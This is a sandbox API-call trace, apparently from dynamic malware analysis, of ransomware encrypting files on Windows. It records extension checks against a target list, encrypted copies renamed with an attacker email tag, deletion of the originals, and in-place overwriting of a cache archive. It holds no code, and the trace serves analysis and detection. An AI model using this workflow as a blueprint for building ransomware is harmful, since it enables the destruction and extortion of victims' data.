[0062.495] lstrlenW (lpString=".ppt") returned 4 [0062.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0062.495] lstrlenW (lpString=".zip") returned 4 [0062.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.495] lstrlenW (lpString=".rar") returned 4 [0062.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.495] lstrlenW (lpString=".bz2") returned 4 [0062.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.495] lstrlenW (lpString=".7z") returned 3 [0062.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0062.495] lstrlenW (lpString=".dbf") returned 4 [0062.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0062.495] lstrlenW (lpString=".1cd") returned 4 [0062.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0062.496] lstrlenW (lpString=".jpg") returned 4 [0062.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.496] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=31122) returned 1 [0062.496] CloseHandle (hObject=0x158) returned 1 [0062.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0062.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0062.497] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.497] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0062.497] GetLastError () returned 0x0 [0062.497] ReadFile (in: hFile=0x158, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x7992, lpOverlapped=0x0) returned 1 [0062.524] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0062.525] ReadFile (in: hFile=0x158, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.525] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.526] SetEndOfFile (hFile=0x1e0) returned 1 [0062.526] CloseHandle (hObject=0x1e0) returned 1 [0062.526] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.526] SetEndOfFile (hFile=0x158) returned 1 [0062.527] CloseHandle (hObject=0x158) returned 1 [0062.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0062.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0062.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0062.540] lstrlenW (lpString=".doc") returned 4 [0062.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.540] lstrlenW (lpString=".docx") returned 5 [0062.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.540] lstrlenW (lpString=".pdf") returned 4 [0062.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.540] lstrlenW (lpString=".xls") returned 4 [0062.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.540] lstrlenW (lpString=".xlsx") returned 5 [0062.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.540] lstrlenW (lpString=".ppt") returned 4 [0062.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0062.541] lstrlenW (lpString=".zip") returned 4 [0062.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.541] lstrlenW (lpString=".rar") returned 4 [0062.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.541] lstrlenW (lpString=".bz2") returned 4 [0062.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.541] lstrlenW (lpString=".7z") returned 3 [0062.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0062.541] lstrlenW (lpString=".dbf") returned 4 [0062.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0062.541] lstrlenW (lpString=".1cd") returned 4 [0062.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0062.541] lstrlenW (lpString=".jpg") returned 4 [0062.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.541] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=29628) returned 1 [0062.541] CloseHandle (hObject=0x1e0) returned 1 [0062.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0062.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0062.542] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.542] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.542] GetLastError () returned 0x0 [0062.542] ReadFile (in: hFile=0x1e0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x73bc, lpOverlapped=0x0) returned 1 [0062.545] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0062.549] ReadFile (in: hFile=0x1e0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.549] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.549] SetEndOfFile (hFile=0x1dc) returned 1 [0062.549] CloseHandle (hObject=0x1dc) returned 1 [0062.549] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.549] SetEndOfFile (hFile=0x1e0) returned 1 [0062.550] CloseHandle (hObject=0x1e0) returned 1 [0062.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0062.551] lstrlenW (lpString=".doc") returned 4 [0062.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".docx") returned 5 [0062.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.551] lstrlenW (lpString=".pdf") returned 4 [0062.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".xls") returned 4 [0062.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.551] lstrlenW (lpString=".xlsx") returned 5 [0062.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.551] lstrlenW (lpString=".ppt") returned 4 [0062.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0062.551] lstrlenW (lpString=".zip") returned 4 [0062.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.551] lstrlenW (lpString=".rar") returned 4 [0062.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".bz2") returned 4 [0062.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".7z") returned 3 [0062.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0062.551] lstrlenW (lpString=".dbf") returned 4 [0062.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0062.551] lstrlenW (lpString=".1cd") returned 4 [0062.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0062.551] lstrlenW (lpString=".jpg") returned 4 [0062.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 12 os_tid = 0x9e4 [0032.692] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x590970 [0032.692] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3850048 [0032.693] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500300 [0032.693] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030a0 [0032.693] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500318 [0032.693] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3950020 [0032.693] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500330 [0032.693] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500330, Size=0x20) returned 0x4e5c78 [0032.693] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500330 [0032.693] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500330, Size=0x20) returned 0x4e5ca0 [0032.693] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.694] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.694] Wow64DisableWow64FsRedirection (in: OldValue=0x2d9ff58 | out: OldValue=0x2d9ff58*=0x0) returned 1 [0032.694] lstrlenW (lpString="kernel32.dll") returned 12 [0032.694] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.694] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.694] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.694] Sleep (dwMilliseconds=0x64) [0032.965] Sleep (dwMilliseconds=0x64) [0033.123] lstrcmpiW (lpString1=".LOG1", lpString2=".html") returned 1 [0033.123] lstrlenW (lpString="BCD.LOG1") returned 8 [0033.123] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.637] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=0) returned 1 [0033.637] CloseHandle (hObject=0x178) returned 1 [0033.637] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.637] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.637] lstrlenW (lpString=".doc") returned 4 [0033.637] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0033.637] lstrlenW (lpString=".docx") returned 5 [0033.637] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0033.637] lstrlenW (lpString=".pdf") returned 4 [0033.637] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0033.637] lstrlenW (lpString=".xls") returned 4 [0033.637] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0033.637] lstrlenW (lpString=".xlsx") returned 5 [0033.637] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0033.637] lstrlenW (lpString=".ppt") returned 4 [0033.637] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0033.637] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString=".zip") returned 4 [0033.638] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString=".rar") returned 4 [0033.638] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString=".bz2") returned 4 [0033.638] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString=".7z") returned 3 [0033.638] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0033.638] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString=".dbf") returned 4 [0033.638] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString=".1cd") returned 4 [0033.638] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString=".jpg") returned 4 [0033.638] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString=".doc") returned 4 [0033.638] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString=".docx") returned 5 [0033.638] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0033.638] lstrlenW (lpString=".pdf") returned 4 [0033.638] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString=".xls") returned 4 [0033.638] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString=".xlsx") returned 5 [0033.638] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0033.638] lstrlenW (lpString=".ppt") returned 4 [0033.638] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0033.638] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.638] lstrlenW (lpString=".zip") returned 4 [0033.638] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0033.639] lstrlenW (lpString=".rar") returned 4 [0033.639] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0033.639] lstrlenW (lpString=".bz2") returned 4 [0033.639] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0033.639] lstrlenW (lpString=".7z") returned 3 [0033.639] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0033.639] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.639] lstrlenW (lpString=".dbf") returned 4 [0033.639] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0033.639] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.639] lstrlenW (lpString=".1cd") returned 4 [0033.639] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0033.639] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.639] lstrlenW (lpString=".jpg") returned 4 [0033.639] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0033.639] Sleep (dwMilliseconds=0x64) [0033.893] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0033.893] lstrlenW (lpString="ExcelLR.cab") returned 11 [0033.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0034.393] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=16972987) returned 1 [0034.393] CloseHandle (hObject=0x1a8) returned 1 [0034.393] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0034.393] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.393] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0034.394] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0034.394] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.394] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.394] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.524] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.524] ReadFile (in: hFile=0x1a8, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.588] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.588] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.588] ReadFile (in: hFile=0x1a8, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.607] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.607] WriteFile (in: hFile=0x1a8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0035.000] SetEndOfFile (hFile=0x1a8) returned 1 [0035.000] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f41088 [0035.000] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.000] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.001] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.001] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.001] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.002] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.003] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0035.003] CloseHandle (hObject=0x1a8) returned 1 [0036.905] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0036.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.906] lstrlenW (lpString=".doc") returned 4 [0036.906] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString=".docx") returned 5 [0036.906] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0036.906] lstrlenW (lpString=".pdf") returned 4 [0036.906] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString=".xls") returned 4 [0036.906] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString=".xlsx") returned 5 [0036.906] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0036.906] 